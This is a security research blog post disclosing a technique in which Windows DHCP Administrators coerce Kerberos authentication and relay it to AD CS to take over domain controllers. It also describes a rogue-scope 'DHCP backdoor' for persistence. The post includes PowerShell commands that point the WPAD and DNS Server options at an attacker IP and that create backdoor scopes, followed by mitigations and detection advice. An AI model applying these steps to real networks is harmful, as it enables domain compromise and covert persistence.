Abusing the DHCP Administrators Group to Escalate Privileges in Windows Domains
Editorial and additional commentary by Tricia Howard
Executive summary
Akamai researchers discovered a new privilege escalation technique affecting Active Directory (AD) environments that leverages the DHCP administrators group.
In cases where the DHCP server role is installed on a Domain Controller (DC), this could enable them to gain domain admin privileges.
The technique is based on abuse of legitimate features and doesn’t rely on any vulnerability. Therefore, a fix for it doesn’t exist.
In addition to providing a privilege escalation primitive, the same technique could also be used to create a stealthy domain persistence mechanism.
Microsoft DHCP server is very popular; it was observed running in 40% of the networks monitored by Akamai. Any environment running this server could be vulnerable.
We provide detailed steps that can drastically reduce the risk from this technique, identify potential exploitation of it, as well as a way to identify the configuration that enables it.
Introduction
From Google Docs to Active Directory, access management affects just about every role in an organization. Minimizing employee frustrations without adding unnecessary risk is a delicate balance when discussing permissions and access control — a plight security teams are painfully aware of.
As such, the “just enough access” sweet spot is a critical element of any access strategy. It boils down to this: Every user should be granted a set of privileges that are required to perform their duties, but they should be as limited as possible in any other aspect. This can reduce the impact of a compromise of any single user, preventing lateral movement and additional exploitation.
Although it would remove the most risk, managing access on an identity-by-identity basis is not realistic or feasible, especially at the enterprise level. Instead, user access groups provide generalized permissions based on job function — a concept most commonly seen in AD. For example, Microsoft provides the “DNS Admins” group, which is an AD group in charge of managing DNS servers. Following the “just enough access” principle, its members do not have permissions over the machine hosting the DNS server, but rather only for DNS service-related configuration.
Although that all works in theory — in practice, it’s a different story. Shay Ber’s 2017 research demonstrated how members of the “DNS Admins” group could abuse one of the group’s privileges to execute code on DNS servers, which would almost always result in a privilege escalation to domain admins.
Microsoft DHCP provides a similar security group called “DHCP administrators.” While working on our recent research into Microsoft DHCP, the question of finding a similar primitive using this group came to mind: Can a DHCP administrator become a domain administrator? Well, as it turns out, sometimes it sure can. 🥴
In this blog post, we will cover the DHCP administrators group and show how one of its privileges could be abused to compromise DHCP servers, including a full domain takeover in cases where the DHCP server is installed on a DC.
We will also show how this same technique can be used to establish an interesting domain persistence mechanism, and provide the details to implement a “DHCP backdoor.”
Since this technique uses legitimate privileges and options that are available to DHCP administrators, there isn’t a simple solution like a patch — because there is no vulnerability. To help reduce the risk from this technique, we’ve included detailed mitigation and detection steps in this blog post.
What are DHCP administrators?
The DHCP administrators group is an AD group of users that are intended to manage Dynamic Host Configuration Protocol (DHCP) servers. It allows its members to query and modify the configuration of the DHCP service on remote servers.
Importantly, its members have no permissions over the DHCP server machine itself, but only for the DHCP service configuration. This means that a DHCP administrator should not be able to execute code on a DHCP server, but only modify DHCP-related configurations. One of the configurations that is controlled by DHCP administrators is DHCP options.
Abusing DHCP options
Network clients require a set of configurations to participate in a network, including an IP address and a subnet mask, a default gateway address, and a DNS server, just to name a few. DHCP servers advertise these configurations to their clients in the form of DHCP options — different configurations are coupled with a defined option ID and are queried by clients (Figure 1).
Fig. 1: Examples of DHCP options configured on a DHCP server
DHCP clients request their required options and modify their network configuration according to the responses. With the ability to control the values of these options on the server, each option that is requested by a client could potentially be abused by an attacker to inject malicious configuration.
To understand the potential attack surface on Windows clients, we can examine the options that are requested by default (Figure 2).
Fig. 2: DHCP options configured on a DHCP server
Proxy autodiscovery
We can see that one of the configurations requested is the “Proxy autodiscovery” option (highlighted in blue in Figure 2), which is used to automatically configure a web proxy (WPAD). This option enables a DHCP server to specify the URL of a “wpad.dat” file, which contains the proxy settings to be used by the client.
We can configure this option and specify our address as the proxy by running the following PowerShell commands:
Add-DhcpServerv4OptionDefinition -name wpad -OptionId 252 -type String
Set-DhcpServerv4OptionValue -Wpad "http://<attacker_ip>/wpad.dat" -ScopeId 172.25.0.0
After setting this option, we see that Windows clients receive our configuration when leasing an address from the DHCP server(Figure 3).
Fig. 3: DHCP client receiving proxy configuration from the server
After receiving this configuration, the DHCP client will connect to our machine over HTTP and attempt to fetch the “wpad.dat” file (Figure 4).
Fig. 4: DHCP client requesting a “wpad.dat” file from the attacker’s machine
The ability to impersonate a WPAD server opens up the opportunity for several attacks that can allow compromising client credentials.
There are other DHCP options we can target to achieve a similar result. This capability is certainly by design, and is not really a security problem. DHCP administrators can, well … administer DHCP. The impact of this capability, however, can be broader than expected.
DHCP DNS Server option
While analyzing the different DHCP options that could be abused, another one caught our attention — the DNS Server option. In a similar manner to the previous attack, a DHCP administrator can spoof the DNS server address and spoof DNS responses to achieve a machine-in-the-middle (MITM) position. But, as it turns out, there's more to this option.
Normally, DHCP options are used to serve data to requesting clients. Interestingly, the DNS Server option serves another purpose — its value will be used as the destination of DHCP DNS Dynamic Updates (Figure 5).
Fig. 5: DNS Server option effect on the DHCP DNS dynamic update process
Why is this interesting? Microsoft DNS server and Windows DNS clients support a feature of Dynamic Updates called secure dynamic updates. With this feature enabled (and it is, by default), DNS clients are required to authenticate before performing DNS updates on the server. This authentication is performed by using Kerberos over DNS.
With a DHCP administrator account, we can control the DNS Server option on the DHCP server and make it authenticate to an address of our choice. The steps in Figure 6 show how this is achieved.
Fig. 6: DHCP lease causing the server to authenticate to the client via Kerberos
On the target DHCP server, we configure our IP address (172.25.14.19) as the DNS Server option.
From our machine, we lease an IP address while specifying the FQDN option. In this example, we specify the FQDN “aaa.aka.test”. This triggers a DHCP DNS Dynamic Update.
The DHCP server sends a DNS “Start of Authority” (SOA) query to our machine (thinking it’s the DNS server). This query is used by the DHCP server to check which DNS server is authoritative over “aaa.aka.test”.
We respond to the SOA query, specifying our machine as the authoritative DNS server for the record “aaa.aka.test”.
The DHCP server attempts to create the record by sending a DNS Dynamic Update to our machine. This update attempt is unauthenticated.
We refuse the unauthenticated update to trigger an authentication attempt by the server.
The DHCP server authenticates to our machine using Kerberos authentication over DNS, implemented by sending a TKEY query.
Figure 7 shows an example capture of this technique in action.
Fig. 7: Packet capture of the DHCP lease and subsequent DNS traffic
This technique, which we’ve dubbed DHCP Coerce, grants us a Kerberos authentication coercion primitive, as we can make any DHCP server authenticate to our machine.
Have questions about DHCP security?
DHCP Coerce to Kerberos relay
DHCP Coerce opens an opportunity for a Kerberos relay attack — we can coerce authentication to our machine and then perform a relay attack, allowing us to impersonate the DHCP server machine account. This would allow full control over the server itself instead of the more limited permissions included in the DHCP administrators group.
Kerberos relay targets are somewhat limited, but we still have a good option, as was described in a blog post by Dirk Jan, Kerberos relay can be used to target Active Directory Certificate Services (AD CS).
AD CS are a set of services that provide a PKI solution for Active Directory environments. In the context of AD, the main use of this PKI is to enable certificate-based authentication — with AD CS, users can issue certificates for themselves, and use them to authenticate to resources in the domain.
One of the ways these certificates are issued is the Web Enrollment service — a web service that can be used by clients to request certificates. By default, this service is vulnerable to Kerberos relay attacks, as it does not verify message integrity. This problem is described as ESC8 in the AD CS research performed by Will Schroeder and Lee Christensen of SpecterOps.
By combining our coercion primitive with ESC8, we can create an attack chain (Figure 8) that will enable us to compromise the DHCP server.
Fig. 8: DHCP Coerce full attack chain
Use a DHCP Administrator to coerce Kerberos authentication to our machine as described in the previous section.
Use Krbrelayx.py to relay the authentication to AD CS and get a certificate for the DHCP server machine account.
Use the certificate to obtain the NTLM hash of the DHCP server machine account, a technique described in SpecterOps’s research as THEFT5.
Use the NTLM hash to authenticate as the DHCP server machine account and execute code.
For a deeper dive on steps 2–4, please refer to Dirk Jan’s Relaying Kerberos over DNS using krbrelayx and mitm6 blog post.
To summarize, if AD CS is used in the environment, a DHCP administrator account can execute code on any DHCP server. Yikes.
DHCP servers are very often installed on DCs — among the networks that we observed using Microsoft DHCP server, 57% have a DHCP server installed on a DC. In these cases, a DHCP administrator can compromise the entire domain by taking over the DC machine account.
A note on DNS credential
The attack we just described relies on the DHCP server authenticating with its own machine account when performing DNS updates. One of the best practices recommended by Microsoft is to configure a weak user as the DNS credential for the DHCP server — an alternative credential to be used instead of the machine account when performing updates.
This configuration could nullify our relay attack. Instead of compromising the machine account of the server, we will get the permissions of a weak user.
Luckily for us, we are DHCP administrators! A DHCP administrator can remove an existing DNS credential without any knowledge of the credential itself. The Remove-DhcpServerDnsCredential PowerShell command could be used to do this. After removing the DNS credential, the DHCP server reverts to the default and uses its machine account to perform updates.
DHCP domain persistence
In addition to abusing the DHCP administrators group to execute code on DHCP servers, the technique that we just described could be weaponized to create an interesting domain persistence mechanism.
Once the DNS Server option is set up, no credentials are required to coerce authentication — an attacker only needs to lease an IP address from the DHCP server. This can allow an attacker to perform a DHCP coerce attack from outside the domain without any credentials.
DHCP backdoor scope
A DHCP scope is a defined set of IP addresses in a specific subnet that the DHCP can lease. DHCP options can be configured on a per-scope basis, allowing for different configurations for various subnets.
To perform a DHCP coerce, we need to change the DNS Server option on one of the DHCP scopes. Obviously, we don't want to use an existing scope for this — if we modify an existing scope’s DNS Server option, this configuration would be passed down to DHCP clients, causing communication issues and potentially lead to the detection of our backdoor.
Instead, we want to create a dedicated scope, with an address range that is not used in any subnet of the network (Figure 9).
Fig. 9: Creating a “backdoor” DHCP scope
But there’s a problem with this approach, rooted in the DHCP server scope-selection logic. When a client leases an IP address, the server determines the DHCP scope to use based on the source subnet of the client. This subnet is identified by the network interface that received the DHCP Discover message (Figure 10).
Fig. 10: DHCP scope-selection based on network interface
To trigger the backdoor, we need to lease an IP address from our malicious scope. To do that, we must be present in a subnet that is linked to this scope. At the same time, we want our scope not to be linked to an existing subnet in the network, to avoid breaking client connectivity. These two requirements, however, contradict each other — if a scope is not linked to an existing subnet, we can't reach it. If it is, other clients can reach it as well. Luckily, DHCP relay agent comes to the rescue.
DHCP relay agent
A solution to this problem comes with the DHCP relay agent feature. A DHCP relay agent is a server that is meant to allow clients to lease IP addresses from a DHCP server even if one is not present in their local network (Figure 11).
Fig. 11: DHCP lease process with a relay agent
The relay agent listens to DHCP broadcast messages from clients and relays them to the DHCP server on behalf of the clients. The DHCP relay agent informs the DHCP server of the source subnet of the client via the Relay Agent Information DHCP option, allowing the server to determine the correct scope to use when leasing an IP address.
We noticed that this feature enables a DHCP relay agent to request an IP address from any scope, regardless of the interface on the DHCP server. An attacker can act as a relay agent and indicate any subnet in the Relay Agent Information option, enabling them to lease an IP address from any scope (Figure 12).
Fig. 12: Leasing an IP address from a specified scope by acting as a DHCP relay agent
There is one final caveat to consider: The IP address of the relay server itself has to be part of an existing scope on the server. This is meant to prevent rogue clients from accessing the server. To overcome this, we can follow Microsoft’s recommendation and create a dedicated scope that will include our external IP address, illegitimately “authorizing” it to act as a relay.
Abusing the DHCP relay agent option
A potential backdoor (Figure 13) will consist of 2 scopes:
Authorization scope. A scope that is meant to authorize our attacking machine to act as a DHCP relay agent. Its IP range will include the IP address of our external attacking machine.
- Coercion scope. A scope that will be used to lease an IP address, triggering a Kerberos authentication attempt to our attacking machine. Its DNS Server option would be configured with our external attacking machine IP, and its IP range can be any arbitrary range that is not used in the network.
Fig. 13: DHCP backdoor design
The following PowerShell code shows how these scopes could be created:
Import-Module DhcpServer
Add-DhcpServerv4Scope -StartRange <attacker_ip> -EndRange <attacker_ip> -Name " " -SubnetMask <mask>
Add-DhcpServerv4Scope -StartRange <coercion_scope_address> -EndRange <coercion_scope_address> -Name " " -SubnetMask <mask>
Set-DhcpServerv4OptionValue -OptionId 6 -Value <attacker_ip> -Force -ScopeId <coercion_scope_address>
To trigger the backdoor, we lease an address from the DHCP server with the following adjustments:
We use our IP address in the relay agent IP address (giaddr) DHCP field. This field is used to inform the DHCP server of the relay agent IP address. This IP is required to be inside the “authorization scope.”
We include the Relay Agent Information option, with an IP address inside the “coercion scope.”
In Figure 14, our authorization scope includes the IP address 172.25.14.18, and our coercion scope includes the address 66.66.66.66.
Fig. 14: DHCP Discover adjustments when acting as a relay agent
We added relay agent support to DDSpoof, our DHCP DNS spoofing toolkit, and created a proof of concept script called dhcp_coerce.py that enables the performance of this attack. The script acts as a DHCP relay agent and requests an IP address from our requested scope, enabling us to trigger authentication coercion through our coercion scope (Figure 15).
Fig. 15: Using DDSpoof to trigger the DHCP backdoor
Mitigations
Defensive measures against this threat include:
Identifying risky DHCP configuration
Mitigating relay attacks against AD CS
Practicing DHCP administrators group hygiene
Using segmentation to reduce the attack surface
Identifying DNS anomalies
Identifying risky DHCP configuration
Invoke-DHCPCheckup.ps1 can help you identify risky DHCP configuration. The most severe risk in the context of the DHCP coerce attack chain is an installation of a DHCP server on a DC — a configuration that we recommend you avoid.
Run Invoke-DHCPCheckup to list all active Microsoft DHCP servers, and identify any that are installed on DCs (Figure 16). If possible, disable the DHCP server service on all DCs.
Fig. 16: Identifying a DHCP server installed on a DC using Invoke-DHCPCheckup
Mitigating relay attacks against AD CS
The most effective way to prevent this attack chain is to mitigate relay attacks against AD CS servers, which would thwart the ability to abuse the authentication coercion primitive.
The risk of relay attacks and the variation against AD CS are not new, and are known to Microsoft. Extended Protection for Authentication (EPA) is a feature that was introduced to prevent such attacks, but is not enabled by default for AD CS. To mitigate the risk of relay attacks to AD CS, disable HTTP and enable the EPA feature on all AD CS servers.
Practicing DHCP administrators group hygiene
Members of the DHCP administrators group can potentially compromise DHCP clients and servers, so this group should be treated as a high-value asset and monitored accordingly. Limit membership of the DHCP administrators group as much as possible to reduce the risk of an administrator user compromise. Consider using the more limited DHCP users group in applicable cases.
Using segmentation to reduce the attack surface
In addition to the previous defensive measures, network segmentation could be used to mitigate the attack and reduce the attack surface, potentially preventing potential similar attacks.
By using Akamai Guardicore Segmentation, defenders can:
Block RPC traffic to DHCP servers from nonadministrator endpoints, preventing the ability to modify DHCP options: Create a label that contains the endpoints used by DHCP administrators, then allow only this label to communicate with DHCP servers over non-DHCP ports.
Block access to AD CS enrollment servers for endpoints that do not require it, which reduces the ability to perform relay attacks: Create a label that contains endpoints that require issuing certificates using AD CS, then allow only this label to communicate with the web enrollment servers.
Block DHCP traffic to and from the internet, preventing external machines’ ability to coerce DHCP authentication: Create a label for all DHCP servers, then block all communication with internet addresses.
Identifying DNS anomalies
The attack relies on forcing the DHCP server to send a DNS update request to an address that’s different from the standard AD DNS server. This type of traffic is usually static in nature, so this behavior is highly anomalous. This anomalous traffic behavior can serve as a detection opportunity for this attack, or any other attack that abuses Kerberos authentication over DNS.
To identify such anomalies, create a list of legitimate DNS servers that should be receiving DNS updates — either by querying AD or by monitoring DNS traffic. This list should be fairly limited and it should be used as a baseline for legitimate traffic. Any deviation from this list should be investigated — especially if it involves internet addresses.
Akamai Hunt, Akamai’s managed threat hunting service, offers its customers protection in the form of a large set of anomaly detection techniques that constantly monitor the environment in an attempt to detect the unknown.
Conclusion
Malicious privilege escalation can be disastrous, especially when it leverages legitimate processes. Juggling strong security controls with minimal inconvenience to the user presents a major quandary for the modern security professional. With the introduction of the Internet of Things, a distributed mobile workforce, and the constant onslaught of both new and old vulnerability exploitation, there has never been a more critical time to get a handle on your access strategy.
The DHCP administrators group is a striking example of this concept. It provides its members with a strong set of permissions, but those permissions may also be abused by attackers. Especially in security, even the most well-intentioned features can be abused.
Defenders should be aware of this potential risk, and treat this group with the appropriate caution. We hope this post has provided context and defensive measures against this threat.
Learn more
For additional information about risks related to Microsoft DHCP, please refer to our other blog posts on the subject:
Spoofing DNS Records by Abusing DHCP DNS Dynamic Updates
Weaponizing DHCP DNS Spoofing — A Hands-On Guide
The Akamai Security Intelligence Group will continue to monitor this threat and others like it and publish our findings. To keep up with DHCP updates and other security research, you can follow us on X (formerly Twitter).